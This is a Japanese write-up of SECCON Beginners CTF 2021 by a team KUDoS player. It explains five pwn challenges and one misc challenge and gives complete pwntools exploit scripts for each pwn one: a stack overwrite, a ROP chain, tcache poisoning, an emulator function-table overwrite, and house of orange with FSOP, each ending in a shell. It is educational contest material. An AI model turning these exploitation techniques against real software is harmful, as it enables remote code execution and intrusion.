SECCON Beginners CTF 2021 Writeup
初めに
SECCON Beginners CTF 2021にチームKUDoSで参加しました。初心者階級日本1位です。(ソロで上位来る人いっぱいいるのでこれは嘘です)
自分が解いたpwn全問とおまけでmiscについて書きます。
ソルバと配布バイナリはここに置いておきます。
rewriter(pwn)
よくわかるstackのダンプまで表示されるので、return アドレスを書き換えましょう。 書き込む値ですが、flagを出力してくれるwin関数が用意されているのでそのアドレスで良さそうです。
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" HOST = "rewriter.quals.beginners.seccon.jp" PORT = 4103 if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) addr_win = elf.symbols["win"] def exploit(): conn.recvuntil("rbp\n") conn.recvuntil("0x") target = int(conn.recvuntil(" "),16) conn.sendlineafter("> ", hex(target)) conn.sendlineafter("= ", hex(addr_win)) conn.interactive() if __name__ == "__main__": exploit()
beginners_rop(pwn)
自明なgetsによるstack overflowの脆弱性があります。
putsを利用してlibcのアドレスリークをしながらmain関数に戻り、再度system("/bin/sh")を呼び出すようなropを組んでやりましょう。
この時rspがアラインメントされていないと(末尾4byteが0x8など)プログラムが落ちるのでret;だけのgadgetを挟んで調節してください。
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" HOST = "beginners-rop.quals.beginners.seccon.jp" PORT = 4102 if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) addr_main = elf.symbols["main"] plt_puts = elf.plt["puts"] got_puts = elf.got["puts"] rdi_ret = 0x401283 only_ret = 0x401284 # libc = ELF('./libc-2.27.so') off_puts = libc.symbols["puts"] off_system = libc.symbols["system"] off_binsh = next(libc.search(b"/bin/sh")) def exploit(): buflen = 0x100+8 payload = b"A"*buflen payload += p64(rdi_ret) payload += p64(got_puts) payload += p64(plt_puts) payload += p64(addr_main) conn.sendline(payload) conn.recvline() libc_puts = u64(conn.recvline()[:-1]+b"\x00\x00") libc_base = libc_puts - off_puts libc_system = libc_base + off_system libc_binsh = libc_base + off_binsh print(hex(libc_puts)) payload = b"A"*buflen payload += p64(only_ret) # to avoid segmentation fault payload += p64(rdi_ret) payload += p64(libc_binsh) payload += p64(libc_system) conn.sendline(payload) conn.interactive() if __name__ == "__main__": exploit()
uma_catch(pwn)
いわゆるheap問ですね。
format string attackとuse after freeの脆弱性があります。
fsaだけでもshell起動できそうかな、と思ったのですが、文字列の長さが十分ではないため、fsaはlibcアドレスのリークに使い、あとはuafでtcache poisoningを行いましょう。
tcacheを利用した攻撃手法は過去のbeginners CTFでも出題されています。
SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ
SECCON Beginners CTF 2019のWriteup - CTFするぞ
ここら辺の説明がわかりやすいと思います。
ただtcache double freeについてはlibc2.29以降で対策がされたので(libc2.27でもものによってはパッチが当たっているらしい)、すでに繋がれたchunkのリストを書き換えるtcache poisoningと呼ばれている手法(名前はあまり覚えていないが多分そう)で攻撃を行います。
- umaの名前に"%11$p"を入力してlibc_start_mainのアドレスをリーク
- 複数回freeをしてtcacheのlinkをfree_hookに書き換える
- free_hookの中身をsystemのアドレスに書き換える
- nameを"/bin/sh\x00"にしたhourseをfreeしてsystem("/bin/sh")で起動
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" HOST = "uma-catch.quals.beginners.seccon.jp" PORT = 4101 if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) libc = ELF('./libc-2.27.so') off_start_main = libc.symbols["__libc_start_main"] + 231 else: conn = process(FILE_NAME) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') off_start_main = libc.symbols["__libc_start_main"] + 243 off_free_hook = libc.symbols["__free_hook"] off_system = libc.symbols["system"] off_binsh = next(libc.search(b"/bin/sh")) def catch(idx): conn.sendlineafter("> ", "1") conn.sendlineafter("> ", str(idx)) conn.sendlineafter("> ", "bay") def name(idx, n): conn.sendlineafter("> ", "2") conn.sendlineafter("> ", str(idx)) conn.sendafter("> ", n) def show(idx): conn.sendlineafter("> ", "3") conn.sendlineafter("> ", str(idx)) def dance(idx): conn.sendlineafter("> ", "4") conn.sendlineafter("> ", str(idx)) def delete(idx): conn.sendlineafter("> ", "5") conn.sendlineafter("> ", str(idx)) def exploit(): catch(0) name(0,"%11$p\n") # fsb show(0) # libc address leak libc_base = int(conn.recvline(),16) - off_start_main libc_free_hook = libc_base + off_free_hook libc_system = libc_base + off_system catch(1) delete(0) delete(1) name(1, p64(libc_free_hook)+b"\n") # link _free_hook to tcache catch(2) catch(3) # get a chunk on _free_hook name(3, p64(libc_system)+b"\n") # [_free_hook] = system() name(2, "/bin/sh\x00\n") delete(2) # free("/bin/sh") => system("/bin/sh") #print(hex(first_chk)) #print(hex(libc_base)) conn.interactive() if __name__ == "__main__": exploit()
2021_emulator(pwn)
簡易エミューレータの問題です。
ソースが配られているのはありがたいです。
ソースコード一部抜粋
struct emulator { uint8_t registers[REGISTERS_COUNT]; uint8_t memory[0x4000]; void (*instructions[0xFF])(struct emulator*); };
構造体emulatorにはレジスタとメモリと命令の関数テーブルが配置されているのですが、memoryの範囲外のアクセスができてしまう脆弱性があるので関数テーブルを書き換えることができてしまいます。
instructions[0x00]をplt_systemにし、regsiters[0]="s", registers[1]="h", registers[2]="\x00"の状態でemulatorが0x00に当たる命令を実行しようとすると emu->instructions[0x00](emu) ==> system("sh")が呼ばれshellが立ち上がります。
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" #""" HOST = "emulator.quals.beginners.seccon.jp" PORT = 4100 """ HOST = "localhost" PORT = 7777 #""" if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) def exploit(): # plt_system = 0x4010d0 mvi_a = b"\x3e" mvi_b = b"\x06" mvi_c = b"\x0e" mvi_h = b"\x26" mvi_l = b"\x2e" mvi_m = b"\x36" payload = b"" payload += mvi_h payload += b"\x40" payload += mvi_l payload += b"\x04" payload += mvi_m payload += b"\xd0" payload += mvi_l payload += b"\x05" payload += mvi_m payload += b"\x10" payload += mvi_a payload += b"s" payload += mvi_b payload += b"h" payload += mvi_c payload += b"\x00" payload += b"\x00" #emu->instruction[0x00](emu) ---> plt_system("sh\x00") payload += b"\xc9\n" conn.sendlineafter("memory...\n", payload) conn.interactive() if __name__ == "__main__": exploit()
First Bloodでした。(やったね)
freeless(pwn)
free関数なしでどうにかしましょうという問題です。
これはhouse of orangeと呼ばれるテクニックの一部を使うとfreeなしでchunkをfreelistにつなぐことができることが知られています。
問題バイナリのeditコマンドにはヒープオーバーフローの脆弱性があるためこれが使えそうです。
ザックリ説明するとtopのsizeを改変してそのsizeよりも大きいサイズのchunkを用意すると改変されたtopのchunkがfreeされるといった要領です。
日本語での詳しい説明は有料になっちゃいますが、kusanoさんの書籍がよく纏まっていてわかりやすかったです。
Malleus CTF Pwn Second Edition:superflip
※追記: 「CTFするぞ」にないわけがなかった。過去の自分も読んでstarを押していたのにこのエントリの存在忘れていました。
house of orangeによりmallocから_int_freeを呼ぶ - CTFするぞ
freelistにchunkを繋ぐことさえできれば、ヒープオーバーフローもあり、mallocできる回数に制限はありますが、sizeの制限は厳しくないので比較的自由なexploitを組むことができます。
自分はtcacheにつなげたchunkでheapアドレスリーク、unsorted binのchunkを作ってlibcリーク、tcache poisoningでtcache_perthread_structをlinkに繋いで任意のアドレスを自由に確保できるようにしました。
そして_IO_list_all, vtable(_IO_file_jumps), malloc_hook周辺のアドレスをchunkとして確保してFSOPという流れです。
ただプログラムの終了に使われている関数はexit()でなく、_exit()であるためFSOPで使う_IO_flush_all_lockpが呼ばれません。そのためmalloc_hookをexit()にして無理やりFSOPに持ち込みました。
FSOPについての資料は自分はこれで理解できました。
前者は前まで英語verもあったが現在は中国語しかないみたい?もしかしたら微妙かもです。
Play with FILE Structure - Yet Another Binary Exploit Technique
#!/usr/bin/python3 from pwn import * import sys #import kmpwn sys.path.append('/home/vagrant/kmpwn') from kmpwn import * # fsb(width, offset, data, padding, roop) # sop() # fake_file() #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" #""" HOST = "freeless.quals.beginners.seccon.jp" PORT = 9077 """ HOST = "localhost" PORT = 7777 """ if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) libc = ELF('./libc-2.31.so') off_unsorted = libc.symbols["__malloc_hook"] + 0x70 off_malloc_hook = libc.symbols["__malloc_hook"] off_io_list = libc.symbols["_IO_list_all"] off_vtable = libc.symbols["_IO_file_jumps"] off_system = libc.symbols["system"] off_exit = libc.symbols["exit"] def create(idx, size): conn.sendlineafter("> ", "1") conn.sendlineafter(": ", str(idx)) conn.sendlineafter(": ", str(size-0x8)) def edit(idx, data): conn.sendlineafter("> ", "2") conn.sendlineafter(": ", str(idx)) conn.sendlineafter(": ", data) def show(idx): conn.sendlineafter("> ", "3") conn.sendlineafter(": ", str(idx)) conn.recvuntil("data: ") def exploit(): payload = b"A"*0x18 payload += p64(0x71) create(0, 0xd00-0x20) create(1, 0x20) edit(1, payload) # overwrite top size create(2, 0x1000-0x20-0x70) create(3, 0x20) edit(3, payload) # overwrite top size payload = b"A"*0x18 payload += p64(0x51) payload = b"A"*0x18 payload += p64(0x441) create(4, 0x1000-0x20-0x440) create(5, 0x20) edit(5, payload) create(6, 0x1000) leak_padding = b"A"*0x1f + b"X" edit(5, leak_padding) show(5) conn.recvuntil("AX") libc_unsorted = u64(conn.recv(6)+b"\x00\x00") libc_base = libc_unsorted - off_unsorted libc_io_list = libc_base + off_io_list libc_vtable = libc_base + off_vtable libc_system = libc_base + off_system libc_malloc_hook = libc_base + off_malloc_hook libc_exit = libc_base + off_exit payload = b"A"*0x18+p64(0x421) edit(5, payload) edit(3, leak_padding) show(3) conn.recvuntil("AX") heap_addr = conn.recvline()[:-1] heap_base = u64(heap_addr + b"\x00"*(8-len(heap_addr))) -0x290-(0xd00-0x20)-0x20-0x10 edit(3, b"A"*0x20+p64(heap_base+0x10)) create(7, 0x50) create(8, 0x50) fake_tcache_struct = b"\x07\x00"*0x40 fake_tcache_struct += p64(libc_io_list) fake_tcache_struct += p64(libc_vtable) fake_tcache_struct += p64(libc_malloc_hook) edit(8, fake_tcache_struct) create(9, 0x20) edit(9, p64(heap_base+0x290+0x10)) create(10, 0x30) edit(10, p64(0)+p64(libc_system)) create(11, 0x40) edit(11, p64(libc_exit)) fake_file = file_plus_struct() fake_file._flags = u64("/bin/sh\x00") fake_file._IO_write_ptr = 1 fake_file._IO_write_base = 0 fake_file._vtable = libc_vtable-0x10 edit(0, fake_file.get_payload()) create(15, 0x100) # call malloc() -> exit() print(hex(libc_base)) print(hex(heap_base)) conn.interactive() if __name__ == "__main__": exploit()
First Bloodでした。(やったね)
にしても、beginnersが集まる大会にしてはsolves多かった印象です。 2021_emulatorより遥かに難しいと思っています。
writeme(misc)
チームメイトntomoya氏とあさっち氏が/proc/self/memでの書き換えだったり、id(1)でのアドレスリークの主要なアイデアを出してくれた&トドメをさしてくれたのでほぼ何もしていませんが。。。
id(1),id(2)の実行結果、メモリダンプを見ると id(1) -> 0x954e20 id(2) -> 0x954e40
0x954e20: 0x000000000000032c 0x000000000090a3e0 0x954e30: 0x0000000000000001 0x0000000000000001 0x954e40: 0x0000000000000229 0x000000000090a3e0 0x954e50: 0x0000000000000001 0x0000000000000002 0x954e60: 0x000000000000011c 0x000000000090a3e0 0x954e70: 0x0000000000000001 0x0000000000000003 0x954e80: 0x0000000000000167 0x000000000090a3e0 0x954e90: 0x0000000000000001 0x0000000000000004 0x954ea0: 0x00000000000000a5 0x000000000090a3e0 0x954eb0: 0x0000000000000001 0x0000000000000005
となっていて、実行結果のoffset0x18がその整数を表していそうなので、gdb python3でその箇所を書き換えてみたところプログラムが落ちてしまい、これじゃないか。。と思っていたのですが、どうやらそれで正解だったみたいです。
ローカルだとなぜ動かなかったのでしょうか。。。pythonインタープリタだからだったのか、よくわかっていません。。。
終わりに(ぽえむ)
昨年も言った気がするのですが、自分はctf4bは第1回からの皆勤賞で193位->9位->3位->1位みたいな感じで来ていて、第1回はwelcome,easyあたりを2~3問しか解けなかったと思うので、今回初参加してあんまり解けなかったって人もこれから頑張ればいいと思います。
個人的な意見ですが、解けなくてモチベが下がる気持ちもわかりますが、継続することと同じレベルくらいのメンバーでモチベーションを高め合うのが大事な気がします。
最近ではKUDoSも参加するctfを絞るようになってきましたが、チーム参加〜1年くらいの間は幣チームのリーダーが毎週末狂ったようにslackにctfのアナウンスを投げ続けてくれていたので、これが自分にとってのモチベーション維持の面で大きかったのかなと思います。
と調子に乗って偉そうなことを言ってしまいましたが、海外大会とかになるとまだまだ実力不足なのでこれからも頑張りたい次第です。 今年は海外クソデカつよつよCTFでも30位以内に入ることを目標にしております。
special thanks ctf4b 運営・作問の方々
毎年本当に高い質のCTFをありがとうございます。
難易度は難しい、難化したみたいな声がありますが、個人的にはとても良い難易度の問題セットだと思っています。
special thanks2 一緒に参加してくれたメンバー しょうおもんないおじさんが3人くらいいますね